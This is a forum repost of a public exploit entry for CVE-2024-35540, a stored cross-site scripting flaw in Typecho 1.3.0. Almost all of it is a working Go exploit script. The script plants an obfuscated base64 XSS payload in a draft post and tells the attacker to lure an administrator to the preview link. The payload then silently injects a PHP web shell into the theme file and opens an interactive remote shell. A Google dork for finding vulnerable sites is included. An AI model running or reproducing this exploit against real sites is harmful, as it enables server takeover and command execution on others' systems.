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Typecho 1.3.0 - Stored Cross-Site Scripting (XSS)

greenbone

4 Eyl 2022
2,020 Mesaj

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# Exploit Title: Typecho 1.3.0 - Stored Cross-Site Scripting (XSS)
# Google Dork: intext:"Powered by Typecho" inurl:/index.php
# Date: 18/08/2024
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://typecho.org
# Software Link: https://github.com/typecho/typecho
# Version: 1.3.0
# Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
# CVE: CVE-2024-35540

# For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/

package main

import (
    "bufio"
    "bytes"
    "crypto/rand"
    "crypto/sha256"
    "encoding/base64"
    "fmt"
    "net/http"
    "net/url"
    "os"
    "strings"
    "time"
)

var (
    postTitle string       = "Reflected XSS PoC"
    postText  string       = "Hey admin! Look at the draft of this blog post, can I publish it?"
    userAgent string       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
    client    *http.Client = &http.Client{
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }
)

func getEditUrl(u string, cookies string) string {
    req, err := http.NewRequest("GET", u+"/admin/write-post.php", nil)
    if err != nil {
        fmt.Println("[X] Error creating initial request:", err)
        return ""
    }

    req.Header.Set("Cookie", cookies)
    req.Header.Set("User-Agent", userAgent)

    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("[X] Error sending initial request:", err)
        return ""
    }

    buf := new(bytes.Buffer)
    buf.ReadFrom(resp.Body)
    body := buf.String()

    if !strings.Contains(body, "<form action=\"") {
        fmt.Println("[X] Error finding post edit URL")
        return ""
    }

    editUrl := strings.Split(body, "<form action=\"")[1]
    editUrl = strings.Split(editUrl, "\"")[0]

    return editUrl
}

func generateRandomBytes() string {
    bytes := make([]byte, 64)
    rand.Read(bytes)
    return fmt.Sprintf("%x", sha256.Sum256(bytes))
}

func getJsCode(password string) string {
    phpPayload := `
        header("X-Random-Token: " . md5(uniqid()));
        if (isset($_POST["CSRFToken"]) && $_POST["CSRFToken"] === "%s") {
            if (isset($_POST["action"])) {
                system($_POST["action"]);
                exit;
            }
        }
    `
    phpPayload = fmt.Sprintf(phpPayload, password)
    jsPayload := `
        var i = document.createElement('iframe');
        i.src = location.protocol+'//'+location.host+'/admin/theme-editor.php';
        i.style.display = 'none';
        document.body.appendChild(i);

        setTimeout(() => {
            var textarea = i.contentWindow.document.getElementById('content');
            if (textarea.value.includes(payload))
                return;

            textarea.value = textarea.value.replace(/<\?php/, '<?php ' + payload);

            var form = i.contentWindow.document.getElementById('theme').submit();
        }, 200);
    `
    return fmt.Sprintf("var payload = `%s`;\n%s", phpPayload, jsPayload)
}

func generatePayload(jsCode string) string {
    remainder := len(jsCode) % 3
    if remainder != 0 {
        jsCode += strings.Repeat(" ", 3-remainder)
    }
    jsCodeEncoded := base64.StdEncoding.EncodeToString([]byte(jsCode))
    return fmt.Sprintf("[<img style=\"display:none\" src=x onerror=\"eval(atob('%s'))\">][1]\n[1]: https://google.com", jsCodeEncoded)
}

func createPost(u string, cookies string, payload string) string {
    formData := url.Values{}
    formData.Set("title", postTitle)
    formData.Set("text", payload+"\n"+postText)
    formData.Set("do", "save")
    formData.Set("markdown", "1")
    formData.Set("category%5B%5D", "1")
    formData.Set("allowComment", "1")
    formData.Set("allowPing", "1")
    formData.Set("allowFeed", "1")
    formData.Set("dst", "60")
    formData.Set("timezone", "7200")

    req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
    if err != nil {
        fmt.Println("[X] Error creating malicious post creation request:", err)
        return ""
    }

    req.Header.Set("Cookie", cookies)
    req.Header.Set("User-Agent", userAgent)
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
    req.Header.Set("Referer", strings.Replace(strings.Split(u, ".php")[0], "index", "admin/write-post.php", 1))

    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("[X] Error sending malicious post creation request:", err)
        return ""
    }

    defer resp.Body.Close()
    return resp.Header.Get("Location")
}

func checkInjected(u string) bool {
    req, err := http.NewRequest("HEAD", u, nil)
    if err != nil {
        return false
    }

    req.Header.Set("User-Agent", userAgent)

    resp, err := client.Do(req)
    if err != nil {
        return false
    }

    return resp.Header.Get("X-Random-Token") != ""
}

func readInput() string {
    scanner := bufio.NewScanner(os.Stdin)
    if scanner.Scan() {
        return scanner.Text()
    }
    return ""
}

func interactiveShell(u string, password string) {
    for {
        fmt.Print("$ ")
        cmd := readInput()

        formData := url.Values{}
        formData.Set("CSRFToken", password)
        formData.Set("action", cmd)

        req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
        if err != nil {
            fmt.Println("[X] Error creating shell request:", err)
            continue
        }

        req.Header.Set("User-Agent", userAgent)
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
        req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))

        resp, err := client.Do(req)
        if err != nil {
            fmt.Println("[X] Error sending shell request:", err)
            continue
        }

        buf := new(bytes.Buffer)
        buf.ReadFrom(resp.Body)
        body := buf.String()

        fmt.Println(body)
    }
}

func main() {
    if len(os.Args) != 3 {
        fmt.Println("Usage: go run CVE-2024-35540.go <URL> <COOKIE_HEADER_VALUE>")
        os.Exit(1)
    }

    fmt.Println("[+] Starting Typecho <= 1.3.0 Stored XSS exploit (CVE-2024-35540) by cyberaz0r")

    targetUrl := os.Args[1]
    cookies := os.Args[2]

    fmt.Println("[*] Getting post edit URL with CSRF token...")
    editUrl := getEditUrl(targetUrl, cookies)
    if editUrl == "" {
        fmt.Println("[-] Could not get post edit URL, exiting...")
        return
    }

    fmt.Println("[+] Edit URL:", editUrl)

    password := generateRandomBytes()
    fmt.Println("[+] Generated password to access the webshell: ", password)

    fmt.Println("[*] Generating JavaScript code to inject webshell...")
    jsCode := getJsCode(password)
    payload := generatePayload(jsCode)

    fmt.Println("[*] Creating malicious post...")
    postUrl := createPost(editUrl, cookies, payload)
    if postUrl == "" || postUrl == "/" {
        fmt.Println("[-] Could not create malicious post, exiting...")
        return
    }

    previewUrl := strings.Replace(postUrl, "write-post.php", "preview.php", 1)
    fmt.Println("[+] Malicious post created successfully!")
    fmt.Println("[i] Send this preview URL to the admin to trigger the XSS:\n" + previewUrl)

    fmt.Println("[*] Waiting for the admin to visit the preview URL...")
    for !checkInjected(targetUrl) {
        time.Sleep(1 * time.Second)
    }

    fmt.Println("[+] Webshell injected successfully!")
    fmt.Println("[+] Enjoy your shell ;)\n")
    interactiveShell(targetUrl, password)
}